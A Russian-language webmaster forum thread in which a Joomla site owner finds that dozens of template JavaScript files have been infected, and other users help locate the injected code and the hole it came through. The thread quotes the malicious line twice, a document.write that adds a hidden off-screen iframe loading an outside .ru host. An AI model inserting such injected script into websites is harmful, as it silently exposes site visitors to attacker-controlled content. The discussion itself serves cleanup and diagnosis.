сайт на joomle стал тянуть http://cringedintercepts.ru/

R
На сайте с 09.12.2011
Offline
22
311

При загрузке сайта откуда то стало тянуться:

"NetworkError: 404 Not Found - http://cringedintercepts.ru/a89608d4e0d44e64eb6ce1789b765f86.DxpHifBObP9?default"

ни у кого не было такой проблемы?

T
На сайте с 19.03.2013
Offline
1
#1

iframe, может быть? Покажите урл.

R
На сайте с 09.12.2011
Offline
22
#2
topcoder:
iframe, может быть? Покажите урл.

да, вообщем ясно, в *.js вирусня попала:

;document.write('<iframe src="http://cringedintercepts.ru/a89608d4e0d44e64eb6ce1789b765f86.DxpHifBObP9?default" name="Kluneborg" height="116" width="116" style="left:-500px;top:0px;position:fixed;"></iframe>');

T
На сайте с 19.03.2013
Offline
1
#3

rykov, файл /templates/admSurazh/js/content.js, удалите в нём конструкцию:

document.write('<iframe src="http://cringedintercepts.ru/a89608d4e0d44e64eb6ce1789b765f86.DxpHifBObP9?default" name="Kluneborg" height="116" width="116" style="left:-500px;top:0px;position:fixed;"></iframe>');

R
На сайте с 09.12.2011
Offline
22
#4

topcoder, к сожалению данная конструкция не только в этом js, а ещё в нескольких десятках js файлов.

Я так понял чистка js файлов проблему не решит, надо искать дырку, через которую эта зараза добавляется, видимо где то на сайте есть php файл, который дергается из вне и засирает js файлы. Остаётся его найти, думаю лог веб сервера поможет и главное понять, как он попал на сайт

T
На сайте с 19.03.2013
Offline
1
#5

В списке компонентов, думаю, стоит дыру найти. После чего провести чистку файлов.

---------- Добавлено 20.03.2013 в 13:03 ----------

На моей памяти был такой случай, когда во всём виноват был SEO Helper что ли или что-то в этом роде. Около года назад.

R
На сайте с 09.12.2011
Offline
22
#6

Мдя, безопастность у джомулы конечно ни о чём, да и помимо этого куча косяков

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий